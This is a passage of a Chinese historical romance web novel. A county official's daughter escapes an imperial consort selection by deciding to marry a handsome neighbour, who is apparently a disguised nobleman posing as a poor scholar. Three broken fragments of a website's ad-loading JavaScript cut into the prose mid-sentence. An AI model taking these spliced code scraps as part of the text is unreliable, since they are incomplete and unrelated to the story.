《美人择枝》 1. 择选 阳春三月,凌烟书坊门前,行人熙攘,绿柳袅袅。 许菱玉钻出轿帘,踏过青石路。 素手轻攥,将莲子白绢纱挑线裙摆提起寸许,轻盈掠过光亮古朴的木质门槛,花纹俏丽的绣鞋惊鸿一瞥,转瞬便被轻悠悠落下的裙面藏起。 丫鬟金钿刚到门槛外,便见自家小姐已熟门熟路往里头去。 经过柜台时,许菱玉冲店主一笑:“胡掌柜,生意兴隆啊。” “借小姐吉言,许小姐好些日子没来了,里边请。”胡掌柜堆笑寒暄,合上账册,吩咐伙计,“去给许小姐和金钿姑娘沏一壶上好的春茶!” 说话间,已绕出柜台,作势要亲自领着金钿去挑北窗临河的好位置。 宁州这地界,上有宁王,下有知府,许菱玉的爹只是宁州城下辖清江县一个小小的八品县丞,不算打眼,她自然远远算不上千金小姐,原不至于劳驾掌柜亲自伺候的。 可许菱玉有钱啊,每次来都是实打实地花银子。 胡掌柜一见她,就像看到白花花的银子飞进店,可不得哄好咯? 伙计也乐意跑腿,麻利地沏好茶,甚至殷勤摆上两碟上好的点心。 不等许菱玉吩咐,金钿已做主,同往常一样,从荷包里摸出两钱碎银赏他。 再回过头寻小姐,只看见被书架挡住的半边倩影。 而书架两步开外,几张长木条桌旁,手持书卷的年轻书生们,无一不是面庞泛红,目光含痴,望着小姐所在的方向。 金钿随意扫过那些书生的容貌、身形,不由暗自摇头。 她收回视线,提起茶壶,替小姐斟一盏春茶晾着。 许菱玉的亲娘,年轻的时候,便是这清江县里有名的胭脂西施。 她模样随她娘多些,又爱打扮,也有银子打扮,早对这样的目光见惯不怪了,并未在意。 黄杨木书架侧,许菱玉亭亭玉立。 纤巧的下颌微微扬起,目光落在书架上一层,从左往右,徐徐扫过去。 正月里忙着走亲访友,二月又忙铺子里的事,许菱玉确有好一阵子没来书坊了。 方才在菜市桥瓦子听戏时,听说凌烟书坊新进了一批戏文、话本,颇有意趣,许菱玉命金钿赏了台上俊俏武生一枚银锞子,转脚就来了书坊。 凌烟书坊取自李长吉那句“请君暂上凌烟阁,若个书生万户侯”,不过是为激将当今的书生,靠文墨封侯拜相。 是以凌烟书坊内出售、出租的,多是经史子集之类,科举相关的书册。 戏文、话本不算多,悉数摆在许菱玉眼前的这一排书架上。 不过,胜在胡掌柜眼光独到,此处藏书比起别处,文辞更优美雅致些,有趣却不俗气,许菱玉从及笄起,便成了此处的常客。 书架另一侧,传来细微的脚步声,应当是哪位也在找书的书生。 许菱玉目光从熟悉的书名上移过去时,从书册与木架的空隙间,不经意瞥见一扇宽肩。 对方身着月白布衣,正是时下书生们最常见的打扮。 只是身量似乎比寻常书生高些,肩也宽实些,透出一股精神劲儿,无丝毫文弱之感,叫人想起话本中清而韧的文人风骨。 没看到脸,便让人觉得,这大抵不会是个丑模样。 俊俏郎君谁不想多看两眼? 她素日去瓦子里听戏,也爱去给模样好的武生花旦捧场。 许菱玉心生好奇,踮起足尖,想从高些的书缝间瞥一眼,看看对方的脸配不配得上齐整的身板。 她目光刚移至上一层书架上,余光瞥见什么,目光陡然向右移去,继而顿住,眼眸因骤生的惊喜而格外明亮。 她找着想要的话本了! 注意力被话本吸引,许菱玉哪还顾得上一介陌生书生? 许菱玉向右迈开一小步,抬手便去取她瞧中的蓝底话本。 指节厚的话本被她斜斜从书架上取下的一瞬,她眼中惊喜犹在。 猝不及防,撞进一双英隽的眉眼。 惊喜定格一瞬,闪过错愕,辨清对方容颜,眸光不自觉更亮一分。 书架另一侧,那位男子着月白布衣,竟正是她方才无意瞥见的身影。 男子抬起的手臂保持着取书的动作,僵滞间,许菱玉无端觉着,对方惊愕到连呼吸都轻了。 取下一半的书册,将他俊颜遮挡些许,英隽的眉眼便格外引人注目。 他眼型并不锋锐,而是迤逦如桃瓣,因脸庞骨相英朗,才不显阴柔。 乍一看,眼型有些勾人。 细观,眼神却是清正端方,便是这般盯着她,也不会叫人觉得冒犯。 甚至他眼皮一刹的跳动,眼中一闪而逝的错愕,倒让许菱玉觉着,是她惊扰对方更多。 显然,对方在她取下书册的同时,碰巧取下对面的书册。 视线不期然撞在一起,只是巧合。 许菱玉双手将话本环在身前,弯起唇角,冲对方轻道:“惊扰公子了。” 对方没开口,微抿薄唇,长睫规矩地压下些许,略颔首,冲她礼貌致意,便侧过身,不疾不徐朝柜台走去。 许菱玉探首望去,只瞥见那人修长的侧影。 那男子捧着几册书,身姿俊拔,步履从容,说不出的清雅。 从众书生间走过时,宛如白鹤误入鸡群。 许菱玉手中打理着娘留给她的胭脂铺和布庄,自认有几分眼力,对方身上穿的分明是寻常布衣,不像名门贵胄。 至于那周身气度涵养,大抵是腹有诗书气自华了。 顾清嘉把书册放在柜台,掌柜将书册揽到近前,捞过算盘算价钱。 “抹去零头,算你12两3钱银子。”掌柜的说话间,右手状似无意压最上头那册书的封皮上,打量一圈他身上的衣料,神情仍算和气,眼中却多三分迟疑与精明。 顾清嘉看在眼中,神情自若。 略垂眸,长指探入袖袋。 捏到袖袋中的少量铜板、碎银,他动作滞了滞,眉心微动,身姿不自然地绷紧。 钱不够,远远不够。 顾清嘉自幼仆婢环绕,少有需要自己花钱的时候,此番隐姓埋名来宁州,为了不引人注意,他只带了长缨一人随行。 长缨身手好,交待的事情总能办得漂亮。 顾清嘉万万没想到,他们主仆二人,会在这样细枝末节的小事上产生分歧。 他说要扮作最普通的书生,长缨倒是令出惟行,替他从头发丝伪装到钱袋子,无一遗漏。 见顾清嘉呆站着,没拿钱出来,掌柜一看就懂,张嘴欲说两句,被门外急促的脚步声吸引,陡然止住,侧眸望去。 顾清嘉也循声望去。 两名着公服的带到差役已快步迈进门来,一个大声问掌柜,一个推开顾清嘉,往里找寻,行色匆匆。 里头靠窗的位置,许菱玉正品着温热清爽的春茶,借着书架侧半人高的绿植遮挡,欣赏着柜台边那俊朗穷书生的窘迫,犹豫着要不要英雄救美。 看到差役找进来,她唇畔悠然笑意倏而凋落。 又来了! “小姐!小的们可算找着您了!”差役抹一把额角的汗,焦急央求,“快随小的们回衙门,老爷和县太爷还等着呢。” 正是一年里少有的好时节,不冷不热,差役却跑得汗淋淋的。 许菱玉看得出,她爹这回是真催得急。 “行,我跟你们回去。”许菱玉爽快应。 事情早晚要有个说法,她没为难跑腿的差役。 葱指一松,将别致的青白釉瓷杯轻轻放在桌上,许菱玉款款起身,施施然越过差役朝外走。 经过柜台前不算宽敞的廊道,许菱玉忽而停下脚步,侧身朝金钿摊开手。 金钿心领神会,解下装银钱的茜色荷包,默然而恭顺地放到许菱玉掌心。 顾清嘉脑中快速划过一个念头,面色如常,默默看着。 只见少女随手拈起荷包,纤指翻转间,咚咚几声响,几块大小不一的碎银落在漆亮的柜台上。 碎银滚动的轻响,令顾清嘉眉间微微波动。 他眼睫压下些许,目光从少女捏着茜色荷包,过分白皙细腻的葱指上移开。 “还不快谢谢许小姐慷慨解囊?”掌柜的喜滋滋收着银子,将书册包好递向顾清嘉。 顾清嘉接过书册时,许菱玉已利落地迈出门去。 “多谢许小姐,我会还你银子的。” 许菱玉听到身后传来的清冷男声,脚步微顿。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >这书生虽穷,倒还有几分骨气。 人生得俊朗,声音也好听,瞧着赏心悦目,许菱玉花钱只当买一时高兴,也没想过要他还。 不过,对方既然要还,她也不会嫌银子烫手。 “好啊,等你哪天攒够了,到县衙还我。”许菱玉回眸一笑,语气随意。 清江县里,认得她的人不少,不过许菱玉还是补了一句:“家父许淳,清江县丞。” 言毕,坐进青帷油壁软轿,被差役、丫鬟簇拥着走远。 顾清嘉收回视线,目光幽幽落在手中包好的书册上,若有所思。 八品县丞,芝麻小官,家中女眷排场却是不小。 许小姐灵气逼人,挥金如土。 反观街上来来往往的平民百姓,多是面色愁苦,神情麻木的模样。 强烈反差在脑中变幻,他目光悄然幽沉,情绪难辨。 县衙角门,刚落轿,便有守门的差役跑进去报信。 许菱玉一进门,就见许淳忙不迭迎出来,笑容带着刻意的讨好:“乖女儿,阿玉,你考虑了几日,想好了没有?给爹个准话,你是不是愿意进京待选?” 许淳口中说的进京待选,自然是正月里,当今皇上下令选秀之事。 皇上已过不惑之年,膝下几位成年皇子里,只有太子一人已择正妃。 自太祖皇帝开始,大晋皇子择正妃,皆从六品以下官宦之家择选,以免外戚势大,祸乱朝纲。 同时,也有不问门第,福泽万民之意。 就连当今皇后娘娘,都是太祖亲自为皇上挑选的小官之女。 听说皇后母族如今都能与世家望族结亲了,彻底改换门庭,可谓黄恩浩荡。 许菱玉也是小官之女,芳龄十七,尚未婚配,生得又好,县衙从上到下都认为她是清江县秀女名册上的不二人选。 可这天大的福泽,许菱玉并不想要。 从一开始她就拒绝了,县太爷气得垮起脸拂袖而去,她爹脸色也不好看,追出去哄了县太爷好一会子,又回来哄她。 “乖女儿,这次可是为诸位皇子们择正妃!爹知道你心气儿高,凡夫俗子不能入眼,皇子们可都是人中龙凤,被哪一位贵人看上,都是咱们许家祖坟冒青烟的大喜事儿。你这丫头怎么想的,别人求都求不来的好事,你还不愿意。” 当时,许菱玉听着,左耳进,右耳出,明摆着不当回事。 许淳便站在她身边,苦口婆心继续念叨。 “阿玉,爹养你一场,没有功劳也有苦劳是不是?你就忍心看爹在清江县当一辈子小县丞?爹跟在上峰后面拍马屁,你总嫌弃爹没风骨,你要是成了皇子妃,爹不就能扬眉吐气,不再为了这个家低三下四了?” 那一日,许菱玉听到这番话,抬起眼眸,越过许淳发福的肚腹,忍不住含笑反问:“爹养我一场?爹在县太爷面前摧眉折腰赚的那点儿俸禄,够养女儿吗?” 许菱玉不算听话乖顺的闺女,时常让许淳头疼,所以许淳才先问她愿不愿意,不敢全然替她做主。 可她再不柔顺,也还是头一回对许淳如此大不敬。 许淳盛怒,面色瞬间涨红,又迅速退去血色,变得苍白,他鼻翼扩张,双手握拳,发福的身形微微颤抖。 盯着钗环璀璨,明媚俏丽,极肖亡妻的女儿,许淳双眼涨起血丝。 半晌,许淳狠狠甩一把袍袖,背过身去:“爹都是为你好,你自己好好想想吧!” 过了两日,许淳又像没事人似的来劝她,倒不提什么功劳苦劳之类的话了,一味细数成为皇子正妃的好处。 他姿态放低,许菱玉倒没再戳他肺管子,只道会好好考虑。 于是,她让许淳一直等到了今日。 大抵是选秀名单和画像上交的期限将至,县太爷和许淳才着急让人把她找回来。 环顾四周,没看到县太爷,许菱玉坐到圈椅中,悠闲把玩着绣蝴蝶的梨花绢扇,笑应:“这些日子,女儿已深思熟虑过。” 许菱玉放下绢扇,直面许淳已见岁月沟壑,因满含希冀而泛着红光的方脸,吐词清晰坚定:“我不愿意。” 她无视许淳骤然沉下来的脸色,站起身道:“女儿会尽快择一位顺眼的郎君成亲,到时还请爹爹替我做主。” 2. 雨巷 这几日她一直在琢磨,若想不听许淳的话,若想躲避择选,最好的法子便是挑一位顺眼又听话的郎君迅速出嫁。 她胸无大志,并不想飞上枝头,和世家贵女们争皇子的宠爱。 幽王妃前车之鉴,闹不好最后性命难保。 她只想拿回所有属于娘亲的东西。 等替娘亲报了仇,她便守着眼前的一亩三分地,在清江县过简单安稳的小日子。 只是,挑一位顺眼的郎君,说起来容易,挑起来也不容易。 至少在明确告诉许淳,她的想法之前,许菱玉心中并无合适的人选。 可就在她话音落下的一瞬,脑中竟蓦地浮现出一潭英隽眉眼,一袭月白身影。 那位欠她银子的穷书生,模样倒是挺顺眼的。 鬼使神差的想法,让她不由地驻足愣住。 等了几日,软话硬话都说尽了,却得到他最不想听到的结果,许淳气结,心内连呼几声孽障,嘴上却仍忍着没敢说太重的话。 他快步绕到门口,拦住许菱玉去路,语气无奈,又心浮气躁:“为什么呀?你不是不愿嫁高家那小子吗?难道有别的臭小子拿花言巧语哄你了?” “爹爹莫误会,女儿可不像阿娘当年心思纯善,容易被花言巧语哄骗。”许菱玉抬眸,唇角带着笑意,眼底却是凉薄和讥诮:“昨晚我娘托梦,说我没有富贵命,嫁个普通人方能平安顺遂,否则,恐怕会闯下抄家灭族的大祸。爹爹还执意要女儿去京城吗?” 这么多年,许淳几乎从未主动提起过亡妻,但他知道,有人会告诉女儿。 当年的事,动静不小,根本瞒不住。 女儿恨他,用亡妻来拿捏他,都是他应得的。 可听到女儿的嘲讽,他还是白了脸色,梗着脖子辩解:“当年,爹没哄骗你娘。你长大了,又比旁人更了解爹爹,该学会明辨是非,不要旁人说什么你就信什么。” 至于托梦之说,许淳根本不会信。 亡妻出事那年,女儿才一岁多,尚未记事。 如今,他脑中亡妻的模样也已变得模糊,更别说阿玉了。 “阿玉,宁王爷把马县令叫去,立了军令状,若一个月内不查明丢失药材的下落,马大人定然性命不保。”许淳面色发苦,近乎哀求,“马大人的命都保不住,更别说你爹我了。阿玉,只有你当上皇子妃,帮忙求情,才能救咱们一家老小了。” 丢失药材的事,外头还没传开,但许菱玉时常出入衙门,又有高澍那个大嘴巴在耳边叨叨,她想不知道都难。 那批药材是从关外运进来的,听说其中有一味药能治好太子的病。 可那批药材途经清江县境内的云雾山时,离奇消失,押送药材的精锐横尸云雾山下,还是砍柴的樵夫发现的。 清江县隶属宁州,整个宁州地界都归宁王镇守。 宁王爷是当今皇上的亲弟弟,太子殿下的亲叔父,整个宁州最尊贵的存在。 因着这桩变故,听说亲赴京城请罪。 看来,宁王已带着皇命回到宁州,誓要彻查此案,找回药材。 往常再体恤下官,到了紧要关头,一样以命相挟。 找不回太子的药,天子一怒,势必流血千里。 可药不是她偷的,也不是她弄丢的,马县令和她爹都扛不起的重担,凭什么撂到她肩上? 许菱玉侧眸瞥一眼自己单薄的肩臂。 她可扛不起。 “女儿福薄,又才疏学浅,性情乖僻,恐怕难担此重任。爹爹与其求我,不如抓紧些,趁早和马大人、高县尉他们一起,好好查案子去。”许菱玉错开一步,面上挂着礼貌的歉意,毫无负担地走出门去。 “孽障!”许淳回身望着那纤瘦倔强的背影,终于忍不住低咒。 许淳想把女儿的名字报上去,可回想几遍许菱玉的话,他又不敢太强硬。 否则,阿玉对他的恨意更深,只怕真敢做出带累全族的事来。 当年不过是夫妻起争执,她娘就想不开,撇下他和刚会走的阿玉,如此烈性。 阿玉的性子,怎么看都是随她娘多些。 许淳抬眼,瞧见一双忙着衔泥筑巢的新燕,长叹一声,迈着沉重的步子,朝马县令的院子走去。 许家的宅院离县衙不远,许菱玉没坐轿子,自己走路回府。 回房换身衣裙出来,便见继母韦氏身边的丫鬟在一旁候着。 看到她出来,殷勤上前问安,笑容谄媚:“太太让奴婢来问问小姐,今日晚膳在不在家里用?想吃什么,太太好吩咐灶房做去。” 韦氏是当家太太,可许家也不是什么大户人家,没那么多讲究,许菱玉从懂事起,就很少与韦氏他们一道用膳。 想吃什么,让金钿去吩咐一声,灶房照样不会怠慢。 从前,许菱玉吃穿用度上,韦氏素来不闻不问,如今倒学会殷勤体贴起来。 许菱玉心如明镜,全因韦氏觉着她能去京城,当上哪位皇子的正妃。 “那就有劳太太了。”许菱玉随口报了几道菜名,个个又费工夫,又费钱。 送上门的肥羊,不宰白不宰。 那丫鬟听得眼皮直跳,许菱玉装作没看见。 待那丫鬟走出院子,许菱玉穿着舒服的家常衣裙,捧着清茶问金钿:“去跟芹姨说一声,明日我去桂花巷小住。” 金钿应声,折身去吩咐,又去收拾明日出门要带的衣物用品。 另有小丫鬟捧了茶水、点心来,皆是许菱玉素日爱吃的口味。 桃花晶糕,粉红剔透,香气怡人。 许菱玉靠在临窗的美人榻上,望着庭院中的绿树红花,吃糕饮茶,琢磨起尽快成亲的事。 脑中再度浮现出书坊里那位俊朗书生。 须臾,许菱玉暗暗摇头。 对方模样是周正,可她也不能只看脸。 听芹姨说,许淳年轻时模样也俊,又会哄人,她娘才会动心,嫁给当年还是穷秀才的许淳。 哦,不,当年许淳家贫,付不起聘金,他是入赘的。 不过,后来,他中了举人,花银子捐了监生,有官身,就变了一副面孔。 就像他的模样,变化也是天翻地覆。 年轻时再俊,如今也与多数中年男人一样,方脸凸肚,与俊美毫不相干。 焉知书坊里那穷书生,往后不会发福变丑? 但那是以后的事,眼下还是得探探对方底细。 正想着,忽有小丫鬟进来禀:“小姐,高公子来了,说有急事呢。” “让他在花厅等着。”许菱玉说这话时,便知对方不会老实待着。 果然,一息之间,便听院中有熟悉的嗓音喊:“阿玉!太好了,我就知道你是刀子嘴豆腐心,舍不得抛下我的!” 高澍语调夸张,情绪饱满,小丫鬟垂首忍笑,肩膀抖得厉害。 “行了,去给他沏壶茶,越苦越好。”许菱玉含笑吩咐。 高家和许家半斤八两,都是腿上泥点子还没甩干净的小户,许菱玉和高澍又是一起长大的,没有大户人家那么多讲究,她早习惯了对方风风火火来去。 许菱玉看看身上衣裙齐整,并无不妥,便没起身,只是坐直身形, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在腰后多垫了一方绣枕。 刚坐好,高澍已迈步进来。 人高马大,双眼清澈明亮,嗓门也大:“阿玉,许伯伯说你不愿意,你是为了我才拒绝的是不是?” 高澍走到美人榻边,作势要握许菱玉的手,被许菱玉生生避开。 瞥见她嫣润的唇,隐隐闻见桃花糕的甜香,高澍心口莫名鼓噪。 “我明天……”高澍悸动不已,口无遮拦,想说明天就让他娘找媒人来提亲。 话刚出口,便因许菱玉嫌弃的动作戛然而止。 “不是。”许菱玉仰面望他,不客气地否认,“高澍,你怎么光长个子不长脑子,我都说多少次了,对你没有男女之情,咱俩只能当兄弟。” 要说知根知底,她对高澍算是了,她知道高澍小时候的所有糗事,见过高澍被倾巢而出的蜜蜂蛰成猪头的模样。 正因太知根知底,她见到高澍只想笑,没有丝毫遐想。 嫁给高澍?对她而言,简直和嫁给金钿一样匪夷所思。 “可我们不是兄弟啊,你是女子,我是男子,怎么当兄弟?”高澍不乐意,“我不要当你兄弟,我想当你的夫君。” 许菱玉抓起身侧绣如意纹的美人拳,不轻不重捶了一下他脑门儿,笑道:“想你个大头鬼!不愿当我兄弟,那当姐妹也是一样,你是现在赶紧出去,还是我让金钿立刻设香案,按着你义结金兰?” 一阵旋风卷出门槛,许菱玉弯唇朝窗棂外望去,只见高澍双腿跑出残影,几乎是飞着出了院门。 天色暗下来,仆婢忙着掌灯。 许菱玉来到正院,看到膳桌上她点名要吃的菜肴,心情更是愉悦。 就着继母韦氏心痛滴血的眼神,以及许淳的长吁短叹,胃口大开,多吃了半碗晶莹柔润的粳米饭。 桂花巷的院子,是阿娘当年的陪嫁之一。 地段不错,闹中取静,每到秋日,整条巷子都浸润在馥郁的桂花香气里。 院子一直是芹姨打理着,许菱玉及笄后,时常过来小住。 想她阿娘了。这个理由,每每让许淳沉默良久,且无法拒绝。 尤其是在每年清明时节。 今日,墨染云天,细雨落在巷中凹凸不平的青石上,油润如酥。 许菱玉脚步放慢,袅袅娉娉迈进古朴的青灰色门槛。 金钿撑着油纸伞,朝她这边倾斜,小心护着她。 伞边挡住许菱玉的视线,她只顾着同芹姨说话,倒没留意巷尾那户的门阶前,立着两道身影。 顾清嘉便是其中一个。 他本来着急出门办事,走下门口石阶,却定住脚步,迟迟未动。 随从长缨锁好门户,循着他视线望去,只见一绯一碧主仆二人正被迎入一户人家。 油伞遮挡,没瞧见面容,但显然不是主子旧识。 “公子?”长缨疑惑唤。 顾清嘉收回视线,略垂首,箬笠藏起他眉眼,他举步,语气冷淡如常:“走吧。” 经过许菱玉院门前时,顾清嘉压低箬笠,目不斜视,倒是长缨留神扫了一眼。 院门紧闭,贴着微微褪色的门神画,与巷中其他人家并无明显区别。 雨丝如雾,天地一洗,色调清冷如坠水墨丹青。 顾清嘉快步穿过水汽弥漫的雨巷,脑中那身穿浅绯披风,莲步轻移曳入门去的身影,仍清晰。 即便她没露脸,步履仪态也与昨日不同,顾清嘉也几乎能确定,她就是清江县丞许淳之女。 他的债主,许小姐。 “查县丞许淳。”顾清嘉沉声吩咐。 3. 决定 小院里,玉兰花开得正好,似无数只洁白的鸽子翘立着。 许菱玉记得芹姨说过,这株玉兰是她阿娘出嫁前特意让人移栽来的。 除了玉兰,还有院子另一侧的梅花,和那几乎爬满院墙的凌霄花。 阿娘希望这桂花巷的小院,四季皆有花可赏。 昔日,阿娘一定也曾立在树下赏花。 如今,玉兰花树长高长壮许多,枝上花朵皎白繁盛。 家中没有阿娘的画像,许菱玉不记得阿娘模样,但好些旧人都说她生得像阿娘。 她立在芳树下,不禁抬手摸摸脸颊。 驻足片刻,她收起神思,折下一朵白玉兰,簪在鬓边。 解下披风,递给金钿。 接过芹姨备好的线香,亲手点燃,跪在阿娘灵位前。 “阿娘,女儿来看您了。”许菱玉脸上已不见哀伤,而是唇角含笑,语气轻松,“许淳想让女儿进京待选,女儿拒绝了,他似乎很生气。放心,女儿知道阿娘不想见到他,所以没把他气死。” 芹姨在旁听着,眼中本噙着泪,又被她逗笑:“阿玉,你真是……” 她不知该怎么说,阿玉气那个负心汉,她自然是替小姐高兴的。 许菱玉笑着冲芹姨眨眨眼,眼神灵动,邀功似的,仿佛在说“就知道你会高兴”。 得意的神情收敛些许,她又继续望着一尘不染的灵位道:“可是阿娘,女儿待字闺中,若隐匿不报,便是违抗皇命。思来想去,只有尽快找一位顺眼的郎君嫁了,方能摆脱。阿娘,您在天有灵,还请保佑女儿遇见一位容貌俊朗,气质出众,对女儿百依百顺的好郎君!” 芹姨是许菱玉的乳母,亲手把许菱玉带大,当然希望她嫁得好。 只是,要找个各方面都合心意的,还要快,谈何容易? 自许菱玉及笄起,芹姨就在留意,两年过去也没见着她认为能配上阿玉的。 “阿玉,你可真会给小姐出难题。”芹姨嘴里这样说,自己却忍不住跪到许菱玉身侧软垫上,冲着灵位叩了几个响头,语气比许菱玉还虔诚,“小姐,您可一定要保佑阿玉啊。” 午膳茹素,芹姨和金钿肯花心思,许菱玉一样吃得满足。 用罢午膳,三人坐在屋檐下,品茶听雨,好不自在。 隔壁包大娘来借伞,说是要给她儿子送饭去。 许菱玉含笑唤了声“包大娘”,还让金钿包了几块点心给她:“大娘若不嫌弃,带回去给孩子们当零嘴吧。” 平日芹姨住在此处,打理宅院,包大娘时常来串门。 是以,许菱玉送她点心,包大娘没多推辞,边笑着道谢,边伸手接了。 借到伞,捧着点心,包大娘又多瞧了许菱玉两眼,眼中有挣扎,脚步迟滞。 “包大娘还有事?不妨直言。”许菱玉以为,包大娘是看到她的脸,又想起她娘。 包大娘左思右想,还是觉得不提为好,笑应:“没事,没事,就是听说朝廷又要选秀,阿玉生得这样好,一定有造化,有福气,大娘替你高兴。” 许菱玉没解释,只是笑笑,吩咐金钿:“雨天路滑,你送送包大娘,搀着些。” 待院门合上,许菱玉身姿略前倾,以手支颐,望着雨雾朦胧的庭院,同芹姨打商量:“芹姨,我的婚事最好这两三日便定下来,否则恐怕有些麻烦,我会带着金钿多转转,您也帮着多留心。” 芹姨正琢磨着包大娘方才的眼神,其实她已琢磨出些门道来,只是也有顾虑。 听到许菱玉说两三日就定,她眼皮跳了一跳:“这么急?” “真就不喜欢高家小子?” 见许菱玉果断摇头,芹姨顿了顿,又接着问:“那你孟家表哥呢?” 许菱玉不由失笑:“芹姨,您别逗我了,表哥那唯唯诺诺的性子,事事听舅母的,不昂反驳一句,您知道我绝不会喜欢。” 当年阿娘不幸落水而亡,外祖父承受不住丧女之痛,很快病倒,也跟着去了。 孟家和许家隔着两条人命,从此不相往来。 直到许菱玉长大些,懂事了,才与舅家重新走动。 舅家的人不上许家去,每年清明会来桂花巷,给阿娘上柱香。 许菱玉及笄后,舅母也曾开过她和表哥玩笑,透露亲上加亲之意,但她不愿意,又不想伤亲戚情分,便总是一脸懵懂,假装年纪小还没开窍。 “阿玉,其实你舅母年前明明白白问过我一次,我只说自己是个下人,不敢托大,揣摩主子的心意。她说会亲自问问你的意思,我估计是采选的旨意绊住了她,但你若透露出要成亲的风声,她势必会登门的。”芹姨轻叹一声,语重心长,“表少爷生得是不算俊,好在没有坏心,舅太太另有企图,也是人之常情,但那毕竟是你舅舅家,嫁去他家,总比找个不知底细的草率成婚强些,你说呢?” 许菱玉仍是摇头:“芹姨,不嫁给表哥,我还有个舅舅,若嫁,恐怕就要多个仇人了。” 孩子大了,有自己的主意,芹姨没再劝。 而是话题突转,笑问她:“阿玉,隔壁包大娘是个热络人,最爱窜门子跟人叙话,你猜,左邻右舍给她起了个什么绰号?” 许菱玉一听就猜到了,佯装不知,茫然摇头。 “都叫她包打听!是不是很贴切?她知道,也不恼。”芹姨就此打开话匣子,“她方才盯着你瞧,还说那些吉祥话,其实都是打圆场,我早告诉过她,你不会去京城的。” “她盯着你瞧,你当是什么缘故?”芹姨喝了一口茶润喉,眼睛发亮,“指定是因为巷尾那家新搬进来的俊俏后生。” 听芹姨絮絮叨叨说着,许菱玉惊诧不已。 倒不是惊讶巷尾那家新租客有多俊,而是惊讶于包大娘的消息灵通,人家才搬来不到半个月,包大娘竟将人家中情形打听得一清二楚。 芹姨认得字,但读书不多,几乎是把所有她知道的形容男子的溢美之词,都加在巷尾男子身上。 “哎,就是太穷了些,都没个正经住处,巷尾那院子也只租了一年,往后还不知流落到哪里去呢。”芹姨语气甚为惋惜,“但凡他父母健全,略有些家底,我就请你包大娘帮忙说媒去了。年轻人模样是真好,配得上我们阿玉,你包大娘定也是为这个才犹豫,忍着没提。” 在芹姨看来,父母都不在了,那就是天煞孤星,命硬克死双亲,焉知不会克妻? 再者,他一个穷书生,家里老本不知够他自己啃几年呢,阿玉若是与他在一起,没半点好处,还得往里搭不少。 怎么想都不合算。 模样再俊,也不能当饭吃,还是便宜别人吧。 “没事,芹姨再帮你留意别的,也请包大娘帮着打听好的。”芹姨宽慰她。 许菱玉听到那人样貌时,只生出些好奇。 听芹姨说完,眼中兴趣越来越浓。 “ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 芹姨,我想见见那位郎君。” 芹姨愣住。 金钿在院门内守了半日,终于在天黑前,看到那家有动静。 “小姐,那家开门了!”金钿平日里性子不急,这会子为了小姐迫在眉睫的婚事,也有了紧迫感。 半个时辰前,雨就停了。 院中青石甬路表面已经半干,只有石头交错的纹路间残留雨水,被灯笼光映得发亮。 吱呀一声,半开的院门被全然推开。 许菱玉快步迈出门槛,立在门廊下,朝巷尾那户人家望去。 只见一位青年男子立在那一处门廊下,正往门口挂灯笼。 灯笼暖黄光晕笼罩下来,照亮空气中浮动的水汽,也为他骨相优越的侧脸镀上一层金辉。 见到真人,方确信芹姨那些溢美之词,不算夸大。 那郎君着实生得俊。 只是,细瞧瞧,似乎有些眼熟? 许菱玉未及细想,那人已挂好灯笼,许是察觉到她的打量,竟侧眸望过来。 对视的一瞬,许菱玉的思绪仿佛骤然被拉回凌烟书坊那排黄杨木书架旁。 “是你?”许菱玉看清对方容貌,失笑,“竟然是你。” 金钿先是茫然,待许菱玉再度感叹,她才反应过来。 顾清嘉隔着清寒水雾,辨出那鬓边簪着白玉兰,娇俏澄莹,皎皎如玉的女子,眼神微动,面色如常。 长缨仍在外办事,顾清嘉自己出来掌灯,没想到会正巧遇上。 又是巧合,未免太巧了些。 顾清嘉先前见过她进那院子,面上并无太多惊讶。 “许小姐。”顾清嘉躬身施礼,姿态谦谦,俨然一位寻常书生,“小生已在筹措银两,不日便登门归还。” 只是,他气质出尘,立在灯笼光里,越显神清骨秀。 他身上穿着的,分明是再寻常不过的布衣,却衬得他清贵卓然,遗世独立。 午后闲话时,芹姨说什么来着? 巷尾的俊俏后生,无父无母,伶仃一个,家世清白,话虽不多,但脾性谦和温厚? 无父无母,好拿捏啊,只要菩萨保佑他考不上功名,他就翻不出她手掌心去。 话不多,脾气好,更是锦上添花。 她想要什么,对方就有什么,可谓为她量身定制的人选! 时间不等人,先下手为强。 许菱玉决定,就他了! 感谢阿娘在天之灵保佑,明日她就带上丰厚的贡品,去阿娘坟前祭拜还愿! 心中无数的念头快速闪过,又尘埃落定,许菱玉面上却只露出适度的喜悦。 “区区小事,公子不必放在心上,没想到与公子还有这样的缘分,既是邻里,往后还请公子多多关照。”许菱玉福身还礼,落落大方,没有丝毫忸怩娇羞。 两家中间,正好隔着包大娘家的院子。 这会子,包大娘在院中打水,将外头两人的客气话听个正着。 原来俩人先前就认识的?那看来没戏。 若有什么苗头,早就有了,也不会等到现在。 包大娘睡前还庆幸,幸好今日她没多嘴。 岂料,翌日天一亮,隔壁老姐妹芹姨搬来好些礼品,包装精致,样样贵重。 “叫我去贾书生家,替你们家阿玉做媒?!”包大娘惊掉下巴。 昨夜阿玉说的多多关照,原来是这么个意思啊?! 4. 婉拒 昨日,包大娘犹豫迟疑,是因那书生除了模样好,其他都配不上许菱玉。 今日可不一样了,阿玉不讲究门第,也不嫌弃对方孤零零一个,就看上对方样貌了。 包大娘想起芹姨说过,许菱玉并不想去京城攀高枝,只想在清江县踏踏实实过日子。 是以,包大娘琢磨着,许菱玉那边定然是着急把亲事定下来,以免节外生枝。 且芹姨说了,事成之后,另有重谢。 一举三得的大喜事,她还有什么可犹豫的? 芹姨准备今日便带着厚礼上门,去转达许菱玉的意思。 至于许菱玉她爹许县丞如何考虑,包大娘才不关心,她和芹姨一样,乐得看许县丞吃瘪。 谁让他靠着原配改换门庭,却把原配逼死,又十余年如一日,搜刮民脂民膏的? 包大娘换上最体面的衣裳,戴上芹姨送来的金簪,鬓边再别一朵红色绢花,收拾得齐整隆重,再携两样礼品,欢欢喜喜去叩贾书生家的大门。 顾清嘉起得早,在院中练武时,便隐约听见隔壁短暂的喧闹与欢喜,他还纳闷,民间百姓会在清明时节办什么喜事? 沐洗过后,换上干净衣衫,顾清嘉捧一卷书,等着长缨回来禀事。 